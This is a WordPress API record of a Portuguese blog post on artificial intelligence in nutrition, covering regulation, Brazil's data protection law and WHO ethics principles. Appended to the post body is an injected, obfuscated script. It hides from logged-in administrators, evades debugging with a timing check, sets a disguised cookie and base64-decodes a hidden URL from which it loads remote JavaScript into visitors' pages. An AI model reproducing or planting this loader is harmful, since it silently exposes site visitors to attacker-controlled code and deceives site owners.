{"id":54,"date":"2025-01-15T16:47:08","date_gmt":"2025-01-15T19:47:08","guid":{"rendered":"https:\/\/nutritionscienceguide.com.br\/blog\/?p=54"},"modified":"2025-10-17T12:29:58","modified_gmt":"2025-10-17T15:29:58","slug":"inteligencia-artificial-e-nutricao","status":"publish","type":"post","link":"https:\/\/nutritionscienceguide.com.br\/blog\/inteligencia-artificial-e-nutricao\/","title":{"rendered":"Intelig\u00eancia artificial e Nutri\u00e7\u00e3o"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Recomenda\u00e7\u00f5es nutricionais precisas e individuais, efici\u00eancia, agilidade, dados cl\u00ednicos cruzados com preferencias alimentares. Essas s\u00e3o somente algumas das <strong>promessas<\/strong> encontradas em not\u00edcias, publica\u00e7\u00f5es e redes sociais, por exemplo, sobre o papel da intelig\u00eancia artificial (IA) na nutri\u00e7\u00e3o.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Uma ci\u00eancia como a nutri\u00e7\u00e3o, da \u00e1rea da sa\u00fade, demanda extrema aten\u00e7\u00e3o e cuidado para todas as condutas profissionais. Os procedimentos recomendados, alimentos e suplementa\u00e7\u00f5es, dosagens e tratamento de condi\u00e7\u00f5es cl\u00ednicas, podem influenciar n\u00e3o somente na qualidade de vida, mas tamb\u00e9m na melhora ou piora de um quadro cl\u00ednico, assim como na gravidade ou fatalidade dos pacientes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Entendemos que uma coisa \u00e9 o uso da intelig\u00eancia artificial e de aplicativos de modo que auxiliem na organiza\u00e7\u00e3o de dados, em c\u00e1lculos e f\u00f3rmulas condensados em um local ou em reunir tabelas de composi\u00e7\u00e3o de alimentos, por exemplo. Mas ser\u00e1 que podemos confiar na intelig\u00eancia artificial para ditar condutas e realizar um planejamento alimentar completo, com toda a sua complexidade? Onde entra o olhar cl\u00ednico e a troca interpessoal, t\u00e3o importantes na nossa atua\u00e7\u00e3o?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">De acordo com um estudo publicado pela Revista e Sa\u00fade P\u00fablica, em 2022, o uso da intelig\u00eancia artificial tem que ter <em>\u201cuma estrutura regulat\u00f3ria capaz de assegurar que seu uso seja impreterivelmente em benef\u00edcio dos seres humanos\u201d <\/em>e que <em>\u201c\u00e9 um cen\u00e1rio que desafia pressupostos b\u00e1sicos da regula\u00e7\u00e3o em sa\u00fade.\u201d<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Seguran\u00e7a e qualidade s\u00e3o os pilares primordiais pensando na inevitabilidade desse fen\u00f4meno. Em rela\u00e7\u00e3o a diretrizes e leis especificas, em todo o mundo vem sendo discutido e no Brasil a Lei Geral de Prote\u00e7\u00e3o de Dados Pessoais (LGPD \u2013 Lei Federal no 13.709\/2018), passa a vigorar. A grande preocupa\u00e7\u00e3o gira em torno das t\u00e9cnicas mais recentes de IA, denominadas <em>machine learning e deep learning<\/em>. A \u00faltima consiste em uma classe de algoritmos que usam modelos inspirados no sistema nervoso central de organismos vivos, denominados redes neurais artificiais. Cabe aos \u00f3rg\u00e3os reguladores delimitarem a amplitude e os mecanismos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Por fim, vale ressaltar que a Organiza\u00e7\u00e3o Mundial de Sa\u00fade (OMS), em um trabalho de anos que resultou em um documento complexo, recomenda como os princ\u00edpios \u00e9ticos fundamentais para uso de intelig\u00eancia artificial na sa\u00fade: proteger a autonomia; promover o bem-estar humano, a seguran\u00e7a humana e o interesse p\u00fablico; garantir transpar\u00eancia, explicabilidade e inteligibilidade; promover responsabilidade e presta\u00e7\u00e3o de contas; garantir inclus\u00e3o e equidade; e promover IA que seja responsiva e sustent\u00e1vel.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Segue a reflex\u00e3o: qual o limite? At\u00e9 onde vamos?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Refer\u00eancias<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">DOURADO, Daniel de Araujo; AITH, Fernando Mussa Abujamra. A regula\u00e7\u00e3o da intelig\u00eancia artificial na sa\u00fade no Brasil come\u00e7a com a Lei Geral de Prote\u00e7\u00e3o de Dados Pessoais. Revista de Sa\u00fade P\u00fablica, [S.L.], v. 56, p. 80, 9 set. 2022<br>WORLD HEALTH ORGANIZATION (WHO). Ethics and governance of artificial intelligence for health: WHO guidance.<br>Geneva: World Health Organization; 2021. Dispon\u00edvel em: <a href=\"https:\/\/iris.who.int\/bitstream\/handle\/10665\/341996\/9789240029200-eng.pdf?sequence=1\">https:\/\/iris.who.int\/bitstream\/handle\/10665\/341996\/9789240029200-eng.pdf?sequence=1<\/a> Acesso em: 12\/11\/2024<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Recomenda\u00e7\u00f5es nutricionais precisas e individuais, efici\u00eancia, agilidade, dados cl\u00ednicos cruzados com preferencias alimentares. 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